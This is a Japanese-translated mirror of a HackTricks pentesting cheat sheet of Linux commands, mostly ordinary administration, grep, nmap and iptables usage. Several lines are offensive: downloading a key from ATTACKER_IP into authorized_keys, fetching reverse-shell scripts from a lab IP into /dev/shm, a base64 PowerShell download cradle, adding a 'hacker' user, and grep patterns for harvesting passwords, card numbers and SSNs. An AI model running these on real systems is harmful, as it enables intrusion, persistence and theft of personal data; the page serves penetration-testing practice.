mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
485 lines
22 KiB
Markdown
485 lines
22 KiB
Markdown
# 便利なLinuxコマンド
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。
|
||
今すぐアクセスを取得:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||
|
||
</details>
|
||
|
||
## 一般的なBashコマンド
|
||
```bash
|
||
#Exfiltration using Base64
|
||
base64 -w 0 file
|
||
|
||
#Get HexDump without new lines
|
||
xxd -p boot12.bin | tr -d '\n'
|
||
|
||
#Add public key to authorized keys
|
||
curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
|
||
|
||
#Echo without new line and Hex
|
||
echo -n -e
|
||
|
||
#Count
|
||
wc -l <file> #Lines
|
||
wc -c #Chars
|
||
|
||
#Sort
|
||
sort -nr #Sort by number and then reverse
|
||
cat file | sort | uniq #Sort and delete duplicates
|
||
|
||
#Replace in file
|
||
sed -i 's/OLD/NEW/g' path/file #Replace string inside a file
|
||
|
||
#Download in RAM
|
||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
|
||
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
|
||
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
|
||
|
||
#Files used by network processes
|
||
lsof #Open files belonging to any process
|
||
lsof -p 3 #Open files used by the process
|
||
lsof -i #Files used by networks processes
|
||
lsof -i 4 #Files used by network IPv4 processes
|
||
lsof -i 6 #Files used by network IPv6 processes
|
||
lsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234
|
||
lsof +D /lib #Processes using files inside the indicated dir
|
||
lsof -i :80 #Files uses by networks processes
|
||
fuser -nv tcp 80
|
||
|
||
#Decompress
|
||
tar -xvzf /path/to/yourfile.tgz
|
||
tar -xvjf /path/to/yourfile.tbz
|
||
bzip2 -d /path/to/yourfile.bz2
|
||
tar jxf file.tar.bz2
|
||
gunzip /path/to/yourfile.gz
|
||
unzip file.zip
|
||
7z -x file.7z
|
||
sudo apt-get install xz-utils; unxz file.xz
|
||
|
||
#Add new user
|
||
useradd -p 'openssl passwd -1 <Password>' hacker
|
||
|
||
#Clipboard
|
||
xclip -sel c < cat file.txt
|
||
|
||
#HTTP servers
|
||
python -m SimpleHTTPServer 80
|
||
python3 -m http.server
|
||
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
||
php -S $ip:80
|
||
|
||
#Curl
|
||
#json data
|
||
curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
|
||
#Auth via JWT
|
||
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
|
||
|
||
#Send Email
|
||
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
|
||
|
||
#DD copy hex bin file without first X (28) bytes
|
||
dd if=file.bin bs=28 skip=1 of=blob
|
||
|
||
#Mount .vhd files (virtual hard drive)
|
||
sudo apt-get install libguestfs-tools
|
||
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
|
||
|
||
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
|
||
ssh-keyscan 10.10.10.101
|
||
|
||
# Openssl
|
||
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
|
||
openssl x509 -in ca.cert.pem -text #Read certificate
|
||
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
|
||
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
|
||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
|
||
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
|
||
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
|
||
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
|
||
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
|
||
# Decrypt ssh key
|
||
openssl rsa -in key.ssh.enc -out key.ssh
|
||
#Decrypt
|
||
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
|
||
|
||
#Count number of instructions executed by a program, need a host based linux (not working in VM)
|
||
perf stat -x, -e instructions:u "ls"
|
||
|
||
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
|
||
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
|
||
|
||
#Reconfigure timezone
|
||
sudo dpkg-reconfigure tzdata
|
||
|
||
#Search from which package is a binary
|
||
apt-file search /usr/bin/file #Needed: apt-get install apt-file
|
||
|
||
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
|
||
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
|
||
|
||
#Set not removable bit
|
||
sudo chattr +i file.txt
|
||
sudo chattr -i file.txt #Remove the bit so you can delete it
|
||
|
||
# List files inside zip
|
||
7z l file.zip
|
||
```
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||
今すぐアクセスを取得してください:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
## Windows用のBash
|
||
```bash
|
||
#Base64 for Windows
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
|
||
|
||
#Exe compression
|
||
upx -9 nc.exe
|
||
|
||
#Exe2bat
|
||
wine exe2bat.exe nc.exe nc.txt
|
||
|
||
#Compile Windows python exploit to exe
|
||
pip install pyinstaller
|
||
wget -O exploit.py http://www.exploit-db.com/download/31853
|
||
python pyinstaller.py --onefile exploit.py
|
||
|
||
#Compile for windows
|
||
#sudo apt-get install gcc-mingw-w64-i686
|
||
i686-mingw32msvc-gcc -o executable useradd.c
|
||
```
|
||
## グレップ
|
||
|
||
`grep`コマンドは、テキストファイル内で特定のパターンを検索するために使用されます。以下は、`grep`コマンドの一般的な使用法です。
|
||
|
||
```bash
|
||
grep pattern file
|
||
```
|
||
|
||
- `pattern`は検索する文字列または正規表現パターンです。
|
||
- `file`は検索対象のファイルです。
|
||
|
||
`grep`コマンドは、指定したファイル内でパターンに一致する行を表示します。デフォルトでは、大文字と小文字は区別されますが、`-i`オプションを使用すると大文字と小文字を区別しないようにすることもできます。
|
||
|
||
```bash
|
||
grep -i pattern file
|
||
```
|
||
|
||
`grep`コマンドは、複数のファイルを一度に検索することもできます。
|
||
|
||
```bash
|
||
grep pattern file1 file2 file3
|
||
```
|
||
|
||
`grep`コマンドは非常に強力であり、テキストファイル内での特定の情報の検索に役立ちます。
|
||
```bash
|
||
#Extract emails from file
|
||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
|
||
|
||
#Extract valid IP addresses
|
||
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
|
||
|
||
#Extract passwords
|
||
grep -i "pwd\|passw" file.txt
|
||
|
||
#Extract users
|
||
grep -i "user\|invalid\|authentication\|login" file.txt
|
||
|
||
# Extract hashes
|
||
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
|
||
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
|
||
#Extract valid MySQL-Old hashes
|
||
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
|
||
#Extract blowfish hashes
|
||
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
|
||
#Extract Joomla hashes
|
||
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
|
||
#Extract VBulletin hashes
|
||
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
|
||
#Extraxt phpBB3-MD5
|
||
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
|
||
#Extract Wordpress-MD5
|
||
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
|
||
#Extract Drupal 7
|
||
egrep -o '$S$S{52}' *.txt > drupal-7.txt
|
||
#Extract old Unix-md5
|
||
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
|
||
#Extract md5-apr1
|
||
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
|
||
#Extract sha512crypt, SHA512(Unix)
|
||
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
|
||
|
||
#Extract e-mails from text files
|
||
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
|
||
|
||
#Extract HTTP URLs from text files
|
||
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
|
||
#For extracting HTTPS, FTP and other URL format use
|
||
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
|
||
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
|
||
|
||
#Extract Floating point numbers
|
||
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
|
||
|
||
# Extract credit card data
|
||
#Visa
|
||
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
|
||
#MasterCard
|
||
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
|
||
#American Express
|
||
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
|
||
#Diners Club
|
||
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
|
||
#Discover
|
||
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
|
||
#JCB
|
||
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
|
||
#AMEX
|
||
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
|
||
|
||
# Extract IDs
|
||
#Extract Social Security Number (SSN)
|
||
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
|
||
#Extract Indiana Driver License Number
|
||
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
|
||
#Extract US Passport Cards
|
||
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
|
||
#Extract US Passport Number
|
||
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
|
||
#Extract US Phone Numberss
|
||
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
|
||
#Extract ISBN Numbers
|
||
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
|
||
```
|
||
## Nmap検索のヘルプ
|
||
|
||
Nmap is a powerful network scanning tool used to discover hosts and services on a computer network. It provides a wide range of options and features to customize and optimize the scanning process. Here are some useful Nmap commands and their descriptions:
|
||
|
||
Nmapは、コンピューターネットワーク上のホストやサービスを発見するために使用される強力なネットワークスキャンツールです。スキャンプロセスをカスタマイズして最適化するためのさまざまなオプションと機能を提供します。以下に、いくつかの便利なNmapコマンドとその説明を示します。
|
||
|
||
### Basic Scanning
|
||
|
||
基本的なスキャン
|
||
|
||
- `nmap target`: Performs a basic scan on the specified target.
|
||
|
||
`nmap ターゲット`: 指定したターゲットに対して基本的なスキャンを実行します。
|
||
|
||
- `nmap -F target`: Performs a fast scan on the specified target, scanning only the most common ports.
|
||
|
||
`nmap -F ターゲット`: 指定したターゲットに対して高速スキャンを実行し、最も一般的なポートのみをスキャンします。
|
||
|
||
### Port Scanning
|
||
|
||
ポートスキャン
|
||
|
||
- `nmap -p port target`: Scans the specified port on the target.
|
||
|
||
`nmap -p ポート ターゲット`: ターゲット上の指定したポートをスキャンします。
|
||
|
||
- `nmap -p- target`: Scans all ports on the target.
|
||
|
||
`nmap -p- ターゲット`: ターゲット上のすべてのポートをスキャンします。
|
||
|
||
### Service and Version Detection
|
||
|
||
サービスとバージョンの検出
|
||
|
||
- `nmap -sV target`: Performs service and version detection on the target.
|
||
|
||
`nmap -sV ターゲット`: ターゲット上でサービスとバージョンの検出を実行します。
|
||
|
||
### OS Detection
|
||
|
||
OS検出
|
||
|
||
- `nmap -O target`: Performs OS detection on the target.
|
||
|
||
`nmap -O ターゲット`: ターゲット上でOSの検出を実行します。
|
||
|
||
### Script Scanning
|
||
|
||
スクリプトスキャン
|
||
|
||
- `nmap --script script target`: Executes the specified script against the target.
|
||
|
||
`nmap --script スクリプト ターゲット`: 指定したスクリプトをターゲットに対して実行します。
|
||
|
||
### Output Options
|
||
|
||
出力オプション
|
||
|
||
- `nmap -oN output.txt target`: Saves the scan results in normal format to the specified file.
|
||
|
||
`nmap -oN 出力.txt ターゲット`: スキャン結果を指定したファイルに通常の形式で保存します。
|
||
|
||
- `nmap -oX output.xml target`: Saves the scan results in XML format to the specified file.
|
||
|
||
`nmap -oX 出力.xml ターゲット`: スキャン結果を指定したファイルにXML形式で保存します。
|
||
|
||
These are just a few examples of the many options and features available in Nmap. For more information, refer to the [Nmap documentation](https://nmap.org/docs.html).
|
||
|
||
これらは、Nmapで利用可能な多くのオプションと機能の一部です。詳細については、[Nmapのドキュメント](https://nmap.org/docs.html)を参照してください。
|
||
```bash
|
||
#Nmap scripts ((default or version) and smb))
|
||
nmap --script-help "(default or version) and *smb*"
|
||
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
|
||
nmap --script-help "(default or version) and smb)"
|
||
```
|
||
## Bash
|
||
|
||
Bash(Bourne Again SHell)は、LinuxおよびUNIXシステムで広く使用されているデフォルトのシェルです。Bashは、コマンドラインでの作業を容易にするために使用されます。以下に、Bashで使用できるいくつかの便利なコマンドを示します。
|
||
|
||
### ファイルとディレクトリの操作
|
||
|
||
- `ls`:現在のディレクトリ内のファイルとディレクトリを表示します。
|
||
- `cd`:ディレクトリを変更します。
|
||
- `pwd`:現在のディレクトリのパスを表示します。
|
||
- `mkdir`:新しいディレクトリを作成します。
|
||
- `rm`:ファイルまたはディレクトリを削除します。
|
||
- `cp`:ファイルまたはディレクトリをコピーします。
|
||
- `mv`:ファイルまたはディレクトリを移動または名前を変更します。
|
||
|
||
### ファイルの編集
|
||
|
||
- `cat`:ファイルの内容を表示します。
|
||
- `less`:ファイルの内容をページ単位で表示します。
|
||
- `head`:ファイルの先頭から指定された行数を表示します。
|
||
- `tail`:ファイルの末尾から指定された行数を表示します。
|
||
- `grep`:指定されたパターンに一致する行を検索します。
|
||
|
||
### プロセスの管理
|
||
|
||
- `ps`:実行中のプロセスを表示します。
|
||
- `top`:システムのリソース使用状況と実行中のプロセスを表示します。
|
||
- `kill`:プロセスを終了します。
|
||
|
||
これらは、Bashで使用できる便利なコマンドの一部です。これらのコマンドを使いこなすことで、Linuxシステムでの作業がより効率的になります。
|
||
```bash
|
||
#All bytes inside a file (except 0x20 and 0x00)
|
||
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
|
||
```
|
||
## Iptables
|
||
|
||
Iptables is a powerful firewall utility for Linux systems. It allows you to configure and manage network traffic by creating rules and chains. With iptables, you can control incoming and outgoing traffic, filter packets based on various criteria, and set up network address translation (NAT).
|
||
|
||
### Basic Usage
|
||
|
||
To view the current iptables rules, use the following command:
|
||
|
||
```bash
|
||
iptables -L
|
||
```
|
||
|
||
To add a new rule, use the `iptables -A` command followed by the desired options. For example, to allow incoming SSH connections, you can use the following command:
|
||
|
||
```bash
|
||
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
|
||
```
|
||
|
||
To delete a rule, use the `iptables -D` command followed by the rule number. For example, to delete the rule at position 3 in the INPUT chain, you can use the following command:
|
||
|
||
```bash
|
||
iptables -D INPUT 3
|
||
```
|
||
|
||
### Common Options
|
||
|
||
Here are some common options that you can use with iptables:
|
||
|
||
- `-A` (append): Adds a new rule to the end of a chain.
|
||
- `-D` (delete): Deletes a rule from a chain.
|
||
- `-I` (insert): Inserts a new rule at a specific position in a chain.
|
||
- `-L` (list): Lists all the rules in a chain.
|
||
- `-F` (flush): Deletes all the rules in a chain.
|
||
- `-P` (policy): Sets the default policy for a chain.
|
||
- `-s` (source): Specifies the source IP address or network.
|
||
- `-d` (destination): Specifies the destination IP address or network.
|
||
- `-p` (protocol): Specifies the protocol (e.g., tcp, udp).
|
||
- `--dport` (destination port): Specifies the destination port number.
|
||
- `-j` (jump): Specifies the target action for a rule.
|
||
|
||
### Saving and Restoring Rules
|
||
|
||
To save your iptables rules, you can use the `iptables-save` command. This will output the current rules in a format that can be easily restored later.
|
||
|
||
```bash
|
||
iptables-save > rules.txt
|
||
```
|
||
|
||
To restore the saved rules, you can use the `iptables-restore` command.
|
||
|
||
```bash
|
||
iptables-restore < rules.txt
|
||
```
|
||
|
||
### Conclusion
|
||
|
||
Iptables is a versatile tool for managing network traffic on Linux systems. By understanding its basic usage and common options, you can effectively configure and secure your system's firewall.
|
||
```bash
|
||
#Delete curent rules and chains
|
||
iptables --flush
|
||
iptables --delete-chain
|
||
|
||
#allow loopback
|
||
iptables -A INPUT -i lo -j ACCEPT
|
||
iptables -A OUTPUT -o lo -j ACCEPT
|
||
|
||
#drop ICMP
|
||
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
|
||
iptables -A OUTPUT -p icmp -j DROP
|
||
|
||
#allow established connections
|
||
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
|
||
|
||
#allow ssh, http, https, dns
|
||
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
|
||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
|
||
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
|
||
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
|
||
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
|
||
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
|
||
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
|
||
|
||
#default policies
|
||
iptables -P INPUT DROP
|
||
iptables -P FORWARD ACCEPT
|
||
iptables -P OUTPUT ACCEPT
|
||
```
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||
今すぐアクセスを取得:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|